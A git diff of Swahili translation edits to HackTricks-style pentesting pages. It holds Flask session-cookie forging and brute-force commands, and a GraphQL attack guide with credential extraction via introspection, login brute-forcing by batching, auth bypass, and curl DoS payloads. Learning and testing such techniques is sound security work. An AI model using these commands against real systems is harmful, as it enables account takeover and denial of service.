debug1: Next authentication method: password
|
||||
```
|
||||
Kukagua usanidi wa seva ya SSH ni muhimu kuhakikisha kwamba njia pekee zinazotarajiwa zimeidhinishwa. Kutumia hali ya verbose kwenye mteja kunaweza kusaidia kuona ufanisi wa usanidi.
|
||||
Kagua usanidi wa seva ya SSH ni muhimu kuhakikisha kwamba ni mbinu pekee zinazotarajiwa ndizo zimeidhinishwa. Kutumia hali ya verbose kwenye mteja kunaweza kusaidia kuona ufanisi wa usanidi.
|
||||
|
||||
### Config files
|
||||
```bash
|
||||
|
@ -4,6 +4,8 @@
|
||||
|
||||
Angalia ukurasa huu ikiwa unataka kujifunza zaidi kuhusu kuhesabu na kutumia Buckets:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -2,12 +2,14 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Nini maana ya Firebase
|
||||
## What is Firebase
|
||||
|
||||
Firebase ni Backend-as-a-Services hasa kwa ajili ya programu za simu. Inalenga kuondoa mzigo wa programu ya back-end kwa kutoa SDK nzuri pamoja na mambo mengine mengi ya kuvutia yanayorahisisha mwingiliano kati ya programu na back-end.
|
||||
Firebase ni Backend-as-a-Services hasa kwa ajili ya programu za simu. Inalenga kuondoa mzigo wa programu ya nyuma kwa kutoa SDK nzuri pamoja na mambo mengine mengi ya kuvutia yanayorahisisha mwingiliano kati ya programu na nyuma.
|
||||
|
||||
Jifunze zaidi kuhusu Firebase katika:
|
||||
Learn more about Firebase in:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -15,7 +15,9 @@ cachedArchives[p].destroy()
|
||||
}
|
||||
})
|
||||
```
|
||||
{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
|
||||
{{#ref}}
|
||||
https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
|
||||
{{#endref}}
|
||||
|
||||
.png>)
|
||||
|
||||
@ -44,13 +46,13 @@ location.reload() //Trigger the "exit" event
|
||||
```
|
||||
## Mfano 2
|
||||
|
||||
Pata **require object kutoka kwa uchafuzi wa prototype**. Kutoka [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
|
||||
Pata **kipengele cha require kutoka kwa uchafuzi wa prototype**. Kutoka [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
|
||||
|
||||
Leak:
|
||||
Kuvuja:
|
||||
|
||||
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Exploit:
|
||||
Kuvunja:
|
||||
|
||||
<figure><img src="../../../images/image (89).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -24,7 +24,9 @@ Keki pia imesainiwa kwa kutumia nenosiri
|
||||
|
||||
Zana ya mstari wa amri ya kupata, kufungua, kujaribu nguvu na kuunda keki za kikao za programu ya Flask kwa kukisia funguo za siri.
|
||||
|
||||
{% embed url="https://pypi.org/project/flask-unsign/" %}
|
||||
{{#ref}}
|
||||
https://pypi.org/project/flask-unsign/
|
||||
{{#endref}}
|
||||
```bash
|
||||
pip3 install flask-unsign
|
||||
```
|
||||
@ -36,7 +38,7 @@ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODu
|
||||
```bash
|
||||
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
|
||||
```
|
||||
#### **Saini**
|
||||
#### **Kusaini**
|
||||
```bash
|
||||
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
|
||||
```
|
||||
@ -48,7 +50,9 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
|
||||
|
||||
Zana ya mistari ya amri ya kulazimisha tovuti kwa kutumia vidakuzi vilivyoundwa na flask-unsign.
|
||||
|
||||
{% embed url="https://github.com/Tagvi/ripsession" %}
|
||||
{{#ref}}
|
||||
https://github.com/Tagvi/ripsession
|
||||
{{#endref}}
|
||||
```bash
|
||||
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
|
||||
```
|
||||
|
@ -2,18 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Introduction
|
||||
## Utangulizi
|
||||
|
||||
GraphQL inasisitizwa kama **mbadala mzuri** kwa REST API, ikitoa njia rahisi ya kuuliza data kutoka kwa backend. Kinyume na REST, ambayo mara nyingi inahitaji maombi mengi kupitia maeneo tofauti ili kukusanya data, GraphQL inaruhusu upatikanaji wa taarifa zote zinazohitajika kupitia **ombio moja**. Hii inarahisisha sana **wanakuza** kwa kupunguza ugumu wa michakato yao ya upatikanaji wa data.
|
||||
|
||||
## GraphQL na Usalama
|
||||
|
||||
Kwa kuibuka kwa teknolojia mpya, ikiwa ni pamoja na GraphQL, udhaifu mpya wa usalama pia unatokea. Kitu muhimu cha kuzingatia ni kwamba **GraphQL haina mekanizimu za uthibitishaji kwa chaguo-msingi**. Ni jukumu la wanakuza kutekeleza hatua za usalama kama hizo. Bila uthibitishaji sahihi, maeneo ya GraphQL yanaweza kufichua taarifa nyeti kwa watumiaji wasio na uthibitisho, na kuleta hatari kubwa ya usalama.
|
||||
Kwa kuibuka kwa teknolojia mpya, ikiwa ni pamoja na GraphQL, udhaifu mpya wa usalama pia unatokea. Jambo muhimu la kuzingatia ni kwamba **GraphQL haina mifumo ya uthibitishaji kwa chaguo-msingi**. Ni jukumu la wanakuza kutekeleza hatua hizo za usalama. Bila uthibitishaji sahihi, maeneo ya GraphQL yanaweza kufichua taarifa nyeti kwa watumiaji wasio na uthibitisho, na kuleta hatari kubwa ya usalama.
|
||||
|
||||
### Mashambulizi ya Directory Brute Force na GraphQL
|
||||
|
||||
Ili kubaini mifano ya GraphQL iliyofichuliwa, ni mapendekezo kuingiza njia maalum katika mashambulizi ya directory brute force. Njia hizi ni:
|
||||
Ili kubaini mifano ya GraphQL iliyofichuliwa, ni vyema kujumuisha njia maalum katika mashambulizi ya directory brute force. Njia hizi ni:
|
||||
|
||||
- `/graphql`
|
||||
- `/graphiql`
|
||||
@ -24,15 +23,15 @@ Ili kubaini mifano ya GraphQL iliyofichuliwa, ni mapendekezo kuingiza njia maalu
|
||||
- `/graphql/api`
|
||||
- `/graphql/graphql`
|
||||
|
||||
Kugundua mifano ya GraphQL iliyo wazi kunaruhusu uchambuzi wa maswali yanayoungwa mkono. Hii ni muhimu kwa kuelewa data inayopatikana kupitia eneo hilo. Mfumo wa uchunguzi wa GraphQL unarahisisha hili kwa kuelezea maswali ambayo muundo unasaidia. Kwa maelezo zaidi kuhusu hili, rejelea hati ya GraphQL kuhusu uchunguzi: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
|
||||
Kugundua mifano ya GraphQL iliyo wazi kunaruhusu uchambuzi wa maswali yanayoungwa mkono. Hii ni muhimu kwa kuelewa data inayopatikana kupitia eneo hilo. Mfumo wa uchunguzi wa GraphQL unarahisisha hili kwa kuelezea maswali ambayo muundo unasaidia. Kwa maelezo zaidi kuhusu hili, rejelea nyaraka za GraphQL kuhusu uchunguzi: [**GraphQL: Lugha ya kuuliza kwa APIs.**](https://graphql.org/learn/introspection/)
|
||||
|
||||
### Fingerprint
|
||||
### Alama
|
||||
|
||||
Zana [**graphw00f**](https://github.com/dolevf/graphw00f) ina uwezo wa kugundua ni injini gani ya GraphQL inayotumika kwenye seva na kisha kuchapisha taarifa muhimu kwa mkaguzi wa usalama.
|
||||
Chombo [**graphw00f**](https://github.com/dolevf/graphw00f) kina uwezo wa kugundua ni injini gani ya GraphQL inayotumika kwenye seva na kisha kuchapisha taarifa muhimu kwa mkaguzi wa usalama.
|
||||
|
||||
#### Universal queries <a href="#universal-queries" id="universal-queries"></a>
|
||||
#### Maswali ya Kijumla <a href="#universal-queries" id="universal-queries"></a>
|
||||
|
||||
Ili kuangalia kama URL ni huduma ya GraphQL, **ombio ya ulimwengu**, `query{__typename}`, inaweza kutumwa. Ikiwa jibu linajumuisha `{"data": {"__typename": "Query"}}`, inathibitisha kuwa URL ina eneo la GraphQL. Njia hii inategemea uwanja wa GraphQL `__typename`, ambao unaonyesha aina ya kitu kilichoulizwa.
|
||||
Ili kuangalia kama URL ni huduma ya GraphQL, **swali la kijumla**, `query{__typename}`, linaweza kutumwa. Ikiwa jibu linajumuisha `{"data": {"__typename": "Query"}}`, inathibitisha kuwa URL ina eneo la GraphQL. Njia hii inategemea uwanja wa `__typename` wa GraphQL, ambao unaonyesha aina ya kitu kilichoulizwa.
|
||||
```javascript
|
||||
query{__typename}
|
||||
```
|
||||
@ -58,7 +57,7 @@ Kwa hii query unaweza kutoa aina zote, mashamba yake, na hoja zake (na aina ya h
|
||||
|
||||
**Makosa**
|
||||
|
||||
Ni ya kuvutia kujua kama **makosa** yataonyeshwa kwani yatatoa **habari** muhimu.
|
||||
Ni ya kuvutia kujua kama **makosa** yataonyeshwa kama yatatoa **habari** muhimu.
|
||||
```
|
||||
?query={__schema}
|
||||
?query={}
|
||||
@ -66,7 +65,7 @@ Ni ya kuvutia kujua kama **makosa** yataonyeshwa kwani yatatoa **habari** muhimu
|
||||
```
|
||||
.png>)
|
||||
|
||||
**Piga hesabu ya Muundo wa Hifadhidata kupitia Introspection**
|
||||
**Kuhesabu Muundo wa Hifadhidata kupitia Introspection**
|
||||
|
||||
> [!NOTE]
|
||||
> Ikiwa introspection imewezeshwa lakini swali hapo juu halifanyi kazi, jaribu kuondoa mwelekeo wa `onOperation`, `onFragment`, na `onField` kutoka kwa muundo wa swali.
|
||||
@ -171,7 +170,7 @@ Ikiwa uchunguzi umewezeshwa unaweza kutumia [**GraphQL Voyager**](https://github
|
||||
|
||||
### Kuuliza
|
||||
|
||||
Sasa kwamba tunajua ni aina gani ya taarifa zimehifadhiwa ndani ya hifadhidata, hebu jaribu **kuchukua baadhi ya thamani**.
|
||||
Sasa kwamba tunajua ni aina gani ya taarifa zimehifadhiwa ndani ya hifadhidata, hebu jaribu **kuchota baadhi ya thamani**.
|
||||
|
||||
Katika uchunguzi unaweza kupata **ni kitu gani unaweza kuuliza moja kwa moja** (kwa sababu huwezi kuuliza kitu tu kwa sababu kinapatikana). Katika picha ifuatayo unaweza kuona kwamba "_queryType_" inaitwa "_Query_" na kwamba moja ya maeneo ya kitu cha "_Query_" ni "_flags_", ambayo pia ni aina ya kitu. Hivyo unaweza kuuliza kitu cha bendera.
|
||||
|
||||
@ -193,8 +192,8 @@ Unaweza tu kuuliza kwa:
|
||||
```javascript
|
||||
query = { hiddenFlags }
|
||||
```
|
||||
Katika mfano mwingine ambapo kulikuwa na vitu 2 ndani ya kitu cha "_Query_": "_user_" na "_users_".\
|
||||
Ikiwa vitu hivi havihitaji hoja yoyote kutafuta, unaweza **kupata taarifa zote kutoka kwao** kwa **kuuliza** tu data unayotaka. Katika mfano huu kutoka Mtandao unaweza kutoa majina ya watumiaji na nywila zilizohifadhiwa:
|
||||
Katika mfano mwingine ambapo kulikuwa na vitu 2 ndani ya aina ya kitu "_Query_": "_user_" na "_users_".\
|
||||
Ikiwa vitu hivi havihitaji hoja yoyote kutafuta, unaweza **kupata taarifa zote kutoka kwao** kwa **kuuliza** tu data unayotaka. Katika mfano huu kutoka mtandaoni unaweza kutoa majina ya watumiaji na nywila zilizohifadhiwa:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -212,11 +211,11 @@ Hivyo, kwa kufanya _**uid**_ bruteforce kidogo niligundua kwamba katika _**uid**
|
||||
|
||||
.png>)
|
||||
|
||||
Kumbuka kwamba niligundua kuwa naweza kuuliza kuhusu **parameta** "_**user**_" na "_**password**_" kwa sababu ikiwa nitajaribu kutafuta kitu ambacho hakipo (`query={user(uid:1){noExists}}`) napata kosa hili:
|
||||
Kumbuka kwamba niligundua kuwa naweza kuuliza kuhusu **parameta** "_**user**_" na "_**password**_" kwa sababu ikiwa jaribu kutafuta kitu ambacho hakipo (`query={user(uid:1){noExists}}`) napata kosa hili:
|
||||
|
||||
.png>)
|
||||
|
||||
Na wakati wa **awamu ya kuhesabu** niligundua kwamba kitu cha "_**dbuser**_" kilikuwa na kama maeneo "_**user**_" na "_**password**_.
|
||||
Na wakati wa **awamu ya uainishaji** niligundua kwamba kitu "_**dbuser**_" kilikuwa na kama maeneo "_**user**_" na "_**password**_.
|
||||
|
||||
**Hila ya kutupa mfuatano wa uchunguzi (shukrani kwa @BinaryShadow\_)**
|
||||
|
||||
@ -234,7 +233,7 @@ email
|
||||
}
|
||||
}
|
||||
```
|
||||
Unaweza **kutafuta** watu **kwa** **jina** na kupata **filamu** zao **zilizosajiliwa**:
|
||||
Unaweza **kutafuta** watu **kwa** jina **na** kupata **filamu** zao **zilizosajiliwa**:
|
||||
```javascript
|
||||
{
|
||||
searchPerson(name: "John Doe") {
|
||||
@ -286,11 +285,11 @@ name
|
||||
|
||||
**Mabadiliko yanatumika kufanya mabadiliko katika upande wa seva.**
|
||||
|
||||
Katika **introspection** unaweza kupata **mabadiliko** **iliyotangazwa**. Katika picha ifuatayo "_MutationType_" inaitwa "_Mutation_" na kitu cha "_Mutation_" kina majina ya mabadiliko (kama "_addPerson_" katika kesi hii):
|
||||
Katika **introspection** unaweza kupata **mabadiliko** **iliyotangazwa**. Katika picha ifuatayo, "_MutationType_" inaitwa "_Mutation_" na kitu cha "_Mutation_" kina majina ya mabadiliko (kama "_addPerson_" katika kesi hii):
|
||||
|
||||
.png>)
|
||||
|
||||
Katika mpangilio huu, **database** ina **watu** na **filamu**. **Watu** wanatambulishwa kwa **barua pepe** zao na **jina**; **filamu** kwa **jina** na **kadirio**. **Watu** wanaweza kuwa marafiki na kila mmoja na pia wana filamu, ikionyesha uhusiano ndani ya database.
|
||||
Katika mpangilio huu, **database** ina **watu** na **filamu**. **Watu** wanatambulika kwa **barua pepe** zao na **jina**; **filamu** kwa **jina** na **kadirio**. **Watu** wanaweza kuwa marafiki na kila mmoja na pia wana filamu, ikionyesha uhusiano ndani ya database.
|
||||
|
||||
Mabadiliko ya **kuunda mpya** filamu ndani ya database yanaweza kuwa kama ifuatavyo (katika mfano huu mabadiliko yanaitwa `addMovie`):
|
||||
```javascript
|
||||
@ -303,9 +302,9 @@ rating
|
||||
}
|
||||
}
|
||||
```
|
||||
**Kumbuka jinsi thamani na aina ya data zinavyoonyeshwa katika ombi.**
|
||||
**Kumbuka jinsi thamani na aina ya data zinavyoonyeshwa katika uchunguzi.**
|
||||
|
||||
Zaidi ya hayo, hifadhidata inasaidia operesheni ya **mutation**, inayoitwa `addPerson`, ambayo inaruhusu uundaji wa **persons** pamoja na uhusiano wao na **friends** na **movies** zilizopo. Ni muhimu kutambua kwamba marafiki na filamu lazima ziwepo katika hifadhidata kabla ya kuziunganisha na mtu mpya aliyeundwa.
|
||||
Zaidi ya hayo, hifadhidata inasaidia operesheni ya **mutation**, inayoitwa `addPerson`, ambayo inaruhusu uundaji wa **persons** pamoja na uhusiano wao na **friends** na **movies** zilizopo. Ni muhimu kutambua kwamba marafiki na filamu lazima ziwepo tayari katika hifadhidata kabla ya kuziunganisha na mtu mpya aliyeundwa.
|
||||
```javascript
|
||||
mutation {
|
||||
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
||||
@ -335,7 +334,7 @@ releaseYear
|
||||
```
|
||||
### Directive Overloading
|
||||
|
||||
Kama ilivyoelezwa katika [**moja ya vulns zilizoelezwa katika ripoti hii**](https://www.landh.tech/blog/20240304-google-hack-50000/), overload ya maagizo inamaanisha kuita agizo hata mara milioni ili kufanya seva itumie operesheni hadi iwezekane kuifanya DoS.
|
||||
Kama ilivyoelezwa katika [**moja ya vulns zilizoelezwa katika ripoti hii**](https://www.landh.tech/blog/20240304-google-hack-50000/), overload ya directive inamaanisha kuita directive hata mara milioni ili kufanya seva ipoteze operesheni hadi iwezekane kuifanya DoS.
|
||||
|
||||
### Batching brute-force katika ombi 1 la API
|
||||
|
||||
@ -346,7 +345,7 @@ Hapa chini unaweza kupata onyesho rahisi la ombi la uthibitishaji wa programu, l
|
||||
|
||||
.png>)
|
||||
|
||||
Kama tunavyoona kutoka kwa picha ya majibu, maombi ya kwanza na ya tatu yalirudisha _null_ na kuonyesha habari zinazohusiana katika sehemu ya _error_. **Mabadiliko ya pili yalikuwa na data sahihi ya uthibitishaji** na jibu lina tokeni sahihi ya kikao cha uthibitishaji.
|
||||
Kama tunavyoona kutoka kwenye picha ya majibu, maombi ya kwanza na ya tatu yalirudisha _null_ na kuonyesha taarifa zinazofaa katika sehemu ya _error_. **Mabadiliko ya pili yalikuwa na data sahihi ya uthibitishaji** na jibu lina tokeni sahihi ya kikao cha uthibitishaji.
|
||||
|
||||
 (1).png>)
|
||||
|
||||
@ -354,7 +353,7 @@ Kama tunavyoona kutoka kwa picha ya majibu, maombi ya kwanza na ya tatu yalirudi
|
||||
|
||||
Zaidi na zaidi **mipaka ya graphql inazima introspection**. Hata hivyo, makosa ambayo graphql inatoa wakati ombi lisilotarajiwa linapokea yanatosha kwa zana kama [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) kuunda sehemu kubwa ya schema.
|
||||
|
||||
Zaidi ya hayo, nyongeza ya Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) inachunguza **ombio za GraphQL API zinazopita Burp** na **kujenga** schema ya ndani ya GraphQL **na kila ombi jipya inaloona**. Inaweza pia kufichua schema kwa GraphiQL na Voyager. Nyongeza inarudisha jibu bandia inapopokea ombi la introspection. Kama matokeo, GraphQuail inaonyesha maswali yote, hoja, na maeneo yanayopatikana kwa matumizi ndani ya API. Kwa maelezo zaidi [**angalia hii**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
Zaidi ya hayo, nyongeza ya Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) inachunguza **ombii za GraphQL API zinazopita Burp** na **kujenga** schema ya ndani ya GraphQL **na kila ombi jipya inaloona**. Inaweza pia kufichua schema kwa GraphiQL na Voyager. Nyongeza inarudisha jibu bandia inapopokea ombi la introspection. Kama matokeo, GraphQuail inaonyesha maswali yote, hoja, na maeneo yanayopatikana kwa matumizi ndani ya API. Kwa maelezo zaidi [**angalia hii**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
|
||||
Orodha nzuri ya **maneno** kugundua [**vitu vya GraphQL inaweza kupatikana hapa**](https://github.com/Escape-Technologies/graphql-wordlist?).
|
||||
|
||||
@ -398,7 +397,7 @@ ws.send(JSON.stringify(graphqlMsg))
|
||||
```
|
||||
### **Kugundua Miundo ya GraphQL Iliyo wazi**
|
||||
|
||||
Wakati uchunguzi umezimwa, kuchunguza msimbo wa chanzo wa tovuti kwa maswali yaliyojaza awali katika maktaba za JavaScript ni mkakati mzuri. Maswali haya yanaweza kupatikana kwa kutumia kichupo cha `Sources` katika zana za maendeleo, na kutoa maarifa kuhusu muundo wa API na kufichua **maswali nyeti yaliyo wazi**. Amri za kutafuta ndani ya zana za maendeleo ni:
|
||||
Wakati uchunguzi umezimwa, kuchunguza msimbo wa chanzo wa tovuti kwa ajili ya maswali yaliyoandaliwa mapema katika maktaba za JavaScript ni mkakati mzuri. Maswali haya yanaweza kupatikana kwa kutumia kichupo cha `Sources` katika zana za maendeleo, na kutoa maarifa kuhusu muundo wa API na kufichua **maswali nyeti yaliyo wazi**. Amri za kutafuta ndani ya zana za maendeleo ni:
|
||||
```javascript
|
||||
Inspect/Sources/"Search all files"
|
||||
file:* mutation
|
||||
@ -418,7 +417,7 @@ Kumbuka kwamba maombi ya GraphQL kwa kawaida hutumwa kupitia maombi ya POST kwa
|
||||
```javascript
|
||||
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
||||
```
|
||||
Hata hivyo, sehemu nyingi za GraphQL pia zinasaidia **`form-urlencoded` POST requests:**
|
||||
Hata hivyo, sehemu nyingi za GraphQL pia zinaunga mkono **`form-urlencoded` POST requests:**
|
||||
```javascript
|
||||
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||
```
|
||||
@ -434,7 +433,7 @@ Kwa maelezo zaidi **angalia** [**posti ya asili hapa**](https://blog.doyensec.co
|
||||
|
||||
## Utekaji wa WebSocket wa Tovuti Mbalimbali katika GraphQL
|
||||
|
||||
Kama ilivyo na udhaifu wa CRSF unaotumia graphQL, pia inawezekana kufanya **utekaji wa WebSocket wa Tovuti Mbalimbali ili kutumia uthibitisho na GraphQL kwa kuki zisizo na ulinzi** na kumfanya mtumiaji afanye vitendo visivyotarajiwa katika GraphQL.
|
||||
Kama ilivyo kwa udhaifu wa CRSF unaotumia graphQL, pia inawezekana kufanya **utekaji wa WebSocket wa Tovuti Mbalimbali ili kutumia uthibitisho na GraphQL kwa kuki zisizo na ulinzi** na kumfanya mtumiaji afanye vitendo visivyotarajiwa katika GraphQL.
|
||||
|
||||
Kwa maelezo zaidi angalia:
|
||||
|
||||
@ -460,17 +459,17 @@ Mabadiliko yanaweza hata kusababisha kuchukuliwa kwa akaunti kwa kujaribu kubadi
|
||||
|
||||
[Kuunganisha maswali](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) pamoja kunaweza kupita mfumo dhaifu wa uthibitishaji.
|
||||
|
||||
Katika mfano ulio hapa chini unaweza kuona kwamba operesheni ni "forgotPassword" na inapaswa kutekeleza tu swali la forgotPassword lililohusishwa nalo. Hii inaweza kupitishwa kwa kuongeza swali mwishoni, katika kesi hii tunaongeza "register" na kigezo cha mtumiaji ili mfumo ujiandikishe kama mtumiaji mpya.
|
||||
Katika mfano ulio hapa chini unaweza kuona kwamba operesheni ni "forgotPassword" na inapaswa kutekeleza tu swali la forgotPassword lililohusishwa nalo. Hii inaweza kupitishwa kwa kuongeza swali mwishoni, katika kesi hii tunaongeza "register" na kigezo cha mtumiaji kwa mfumo kujiandikisha kama mtumiaji mpya.
|
||||
|
||||
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Kupita Mipaka ya Kiwango kwa Kutumia Aliases katika GraphQL
|
||||
|
||||
Katika GraphQL, aliases ni kipengele chenye nguvu ambacho kinaruhusu **kupewa majina ya mali kwa uwazi** unapofanya ombi la API. Uwezo huu ni muhimu hasa kwa kupata **mfano mwingi wa aina moja** ya kitu ndani ya ombi moja. Aliases zinaweza kutumika kushinda kikomo kinachozuia vitu vya GraphQL kuwa na mali nyingi zenye jina moja.
|
||||
Katika GraphQL, aliases ni kipengele chenye nguvu kinachoruhusu **kupewa majina mali wazi** unapofanya ombi la API. Uwezo huu ni muhimu sana kwa kupata **mifano mingi ya aina moja** ya kitu ndani ya ombi moja. Aliases zinaweza kutumika kushinda kikomo kinachozuia vitu vya GraphQL kuwa na mali nyingi zenye jina moja.
|
||||
|
||||
Kwa ufahamu wa kina wa aliases za GraphQL, rasilimali ifuatayo inapendekezwa: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
||||
|
||||
Ingawa kusudi kuu la aliases ni kupunguza hitaji la simu nyingi za API, matumizi yasiyokusudiwa yamegundulika ambapo aliases zinaweza kutumika kutekeleza mashambulizi ya nguvu za kikatili kwenye kiunganishi cha GraphQL. Hii inawezekana kwa sababu baadhi ya viunganishi vinahifadhiwa na wapunguza kiwango vilivyoundwa kuzuia mashambulizi ya nguvu za kikatili kwa kupunguza **idadi ya maombi ya HTTP**. Hata hivyo, wapunguza kiwango hawa huenda wasihesabu idadi ya operesheni ndani ya kila ombi. Kwa kuwa aliases zinaruhusu kujumuisha maswali mengi katika ombi moja la HTTP, zinaweza kupita hatua kama hizo za kupunguza kiwango.
|
||||
Ingawa kusudi kuu la aliases ni kupunguza hitaji la simu nyingi za API, matumizi yasiyokusudiwa yamegundulika ambapo aliases zinaweza kutumika kutekeleza mashambulizi ya nguvu ya kikatili kwenye kiunganishi cha GraphQL. Hii inawezekana kwa sababu baadhi ya viunganishi vinahifadhiwa na wapunguza kiwango vilivyoundwa kuzuia mashambulizi ya nguvu ya kikatili kwa kupunguza **idadi ya maombi ya HTTP**. Hata hivyo, wapunguza kiwango hawawezi kuzingatia idadi ya operesheni ndani ya kila ombi. Kwa kuwa aliases zinaruhusu kujumuisha maswali mengi katika ombi moja la HTTP, zinaweza kupita hatua kama hizo za kupunguza kiwango.
|
||||
|
||||
Fikiria mfano uliopewa hapa chini, unaoonyesha jinsi maswali yaliyo na alias yanaweza kutumika kuthibitisha uhalali wa nambari za punguzo za duka. Njia hii inaweza kupita mipaka ya kiwango kwani inakusanya maswali kadhaa katika ombi moja la HTTP, ikiruhusu kuthibitisha nambari nyingi za punguzo kwa wakati mmoja.
|
||||
```bash
|
||||
@ -491,7 +490,7 @@ valid
|
||||
|
||||
### Kupakia Majina
|
||||
|
||||
**Kupakia Majina** ni udhaifu wa GraphQL ambapo washambuliaji wanapakia ombi kwa majina mengi kwa ajili ya uwanja mmoja, na kusababisha mchakato wa nyuma kutekeleza uwanja huo mara kwa mara. Hii inaweza kuzidisha rasilimali za seva, na kusababisha **Denial of Service (DoS)**. Kwa mfano, katika ombi hapa chini, uwanja ule ule (`expensiveField`) unahitajiwa mara 1,000 kwa kutumia majina, na kulazimisha mchakato wa nyuma kuhesabu mara 1,000, ambayo inaweza kuchosha CPU au kumbukumbu:
|
||||
**Kupakia Majina** ni udhaifu wa GraphQL ambapo washambuliaji wanapakia ombi kwa majina mengi kwa ajili ya uwanja mmoja, na kusababisha mchakato wa nyuma kutekeleza uwanja huo mara kwa mara. Hii inaweza kuzidisha rasilimali za seva, na kusababisha **Denial of Service (DoS)**. Kwa mfano, katika ombi hapa chini, uwanja ule ule (`expensiveField`) unahitajika mara 1,000 kwa kutumia majina, na kulazimisha mchakato wa nyuma kuuhesabu mara 1,000, ambayo inaweza kuchosha CPU au kumbukumbu:
|
||||
```graphql
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "Content-Type: application/json" \
|
||||
@ -502,7 +501,7 @@ Ili kupunguza hili, tekeleza mipaka ya idadi ya alias, uchambuzi wa ugumu wa swa
|
||||
|
||||
### **Array-based Query Batching**
|
||||
|
||||
**Array-based Query Batching** ni udhaifu ambapo API ya GraphQL inaruhusu kuunganisha maswali mengi katika ombi moja, ikimuwezesha mshambuliaji kutuma idadi kubwa ya maswali kwa wakati mmoja. Hii inaweza kujaa nyuma kwa kutekeleza maswali yote yaliyounganishwa kwa wakati mmoja, ikitumia rasilimali nyingi (CPU, kumbukumbu, muunganisho wa hifadhidata) na kwa uwezekano kupelekea **Denial of Service (DoS)**. Ikiwa hakuna kikomo kilichopo kwenye idadi ya maswali katika kundi, mshambuliaji anaweza kutumia hili kudhoofisha upatikanaji wa huduma.
|
||||
**Array-based Query Batching** ni udhaifu ambapo API ya GraphQL inaruhusu kuunganisha maswali mengi katika ombi moja, ikimuwezesha mshambuliaji kutuma idadi kubwa ya maswali kwa wakati mmoja. Hii inaweza kujaa nyuma kwa kutekeleza maswali yote yaliyounganishwa kwa wakati mmoja, ikitumia rasilimali nyingi (CPU, kumbukumbu, muunganisho wa hifadhidata) na kwa uwezekano kusababisha **Denial of Service (DoS)**. Ikiwa hakuna kikomo kilichopo kwenye idadi ya maswali katika kundi, mshambuliaji anaweza kutumia hili kudhoofisha upatikanaji wa huduma.
|
||||
```graphql
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
@ -512,9 +511,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
```
|
||||
Katika mfano huu, maswali 10 tofauti yanakusanywa katika ombi moja, yakilazimisha seva kutekeleza yote kwa wakati mmoja. Ikiwa itatumika kwa ukubwa mkubwa wa kundi au maswali yanayohitaji rasilimali nyingi, inaweza kuleta mzigo kwa seva.
|
||||
|
||||
### **Uthibitisho wa Uwezo wa Kuongeza Maagizo**
|
||||
### **Udhaifu wa Kuongeza Maagizo**
|
||||
|
||||
